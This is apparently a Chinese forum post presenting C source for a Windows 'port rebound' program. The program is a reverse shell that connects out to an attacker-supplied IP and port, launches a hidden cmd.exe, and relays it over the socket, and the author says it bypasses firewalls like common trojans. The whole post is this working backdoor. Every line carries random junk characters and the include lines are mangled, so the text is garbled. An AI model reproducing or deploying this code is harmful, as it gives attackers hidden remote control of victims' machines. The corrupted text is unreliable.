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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (O4oI U  
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/* ============================== i,r:R g~  
Rebound port in Windows NT 17Cb{Q  
By wind,2006/7 JkWhYP}  
===============================*/ e O\72? K  
#include Bh2l3J4X  
#include <[)-Q~Gg5  
W&Fm ;m@M  
#pragma comment(lib,"wsock32.lib") 3 R+e  
> v%.q]E6n  
void OutputShell(); 5m 0\ls\  
SOCKET sClient; 1#6emMV.`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H?];8wq$G  
d,Aa8I  
void main(int argc,char **argv) ]|tg`*l!>  
{ Cjr]l!  
WSADATA stWsaData;  RbTGAA  
int nRet; @@H_3!B%4v  
SOCKADDR_IN stSaiClient,stSaiServer; B4RrUA32  
[w'Q9\,p  
if(argc != 3) |-}. Y(y  
{ \)No?fB  
printf("Useage:\n\rRebound DestIP DestPort\n"); &M}X$k I  
return; 5OI.Ka  
} isL zgN%  
q7Hf7^a  
WSAStartup(MAKEWORD(2,2),&stWsaData); HK/WO jr  
1v]%FC`  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GLtd<M"  
H_ $?b  
stSaiClient.sin_family = AF_INET; aYaEy(m  
stSaiClient.sin_port = htons(0); -i:WA^yKgw  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =WT$\KYGv  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) iibG$?(  
{ cDY)QUmi  
printf("Bind Socket Failed!\n"); Sc[#]2 }  
return; s) ]j X  
} qX-ptsQ  
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stSaiServer.sin_family = AF_INET; J;>epM ;*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .@,t}:lD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d#0:U Y%~  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dR]-R/1|  
{ m}wn+R  
printf("Connect Error!"); T06(Q[)  
return; -_ I)5*N  
} Dm)B? H"  
OutputShell(); C12UZE;  
} ,XO@ZBOM  
"TJu<O"2  
void OutputShell() tRdf:F\X  
{ .U0Gm_c0  
char szBuff[1024]; Jr !BDg  
SECURITY_ATTRIBUTES stSecurityAttributes; ;bB#P g  
OSVERSIONINFO stOsversionInfo; %, psUOY  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +-@n}xb@  
STARTUPINFO stStartupInfo; =Pl@+RgK+  
char *szShell; !#)t<9]fv  
PROCESS_INFORMATION stProcessInformation; ]!/U9"_e"B  
unsigned long lBytesRead; 1p. c6[9 -  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l e'RU1k  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =o##z5j K  
stSecurityAttributes.lpSecurityDescriptor = 0; U9:)qvMXe  
stSecurityAttributes.bInheritHandle = TRUE; X 61|:E  
SCcvU4`o  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :0l+x 0l}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *2X~NJCt  
3 ,>M-F  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $os]$5(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Sivu-%  
stStartupInfo.wShowWindow = SW_HIDE; %1Q:{m  
stStartupInfo.hStdInput = hReadPipe; 0A) 0Zw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V8M()7uJ  
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GetVersionEx(&stOsversionInfo); ;-Yvi,sS+  
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switch(stOsversionInfo.dwPlatformId) S/`#6  
{ ez'NHodwk2  
case 1: MV"n{1B  
szShell = "command.com"; ] ]U)wg  
break; %b^4XTz  
default: @A1f#Ed<  
szShell = "cmd.exe"; $t;:"i>  
break; Hx gC*-A$/  
} s6|'s<x"j  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~b~Tq  
j9h/`Bn  
send(sClient,szMsg,77,0); Uqel UL}  
while(1) wb.yGfJ  
{ ;W?#l$R  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); RK!9(^Ja  
if(lBytesRead) l}uZxKuYx  
{ oK\zyNK  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hU$o^ICH  
send(sClient,szBuff,lBytesRead,0); H d|p@$I  
} a yoC]rE  
else R2Tt6  
{ ^!\1q<@n  
lBytesRead=recv(sClient,szBuff,1024,0); F$a s#.7FF  
if(lBytesRead<=0) break; X hq ss),  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MI `qzC*%  
} w6V/Xp][U  
} nc;e NB  
C1D:Xi-  
return; |jiIx5qr  
}
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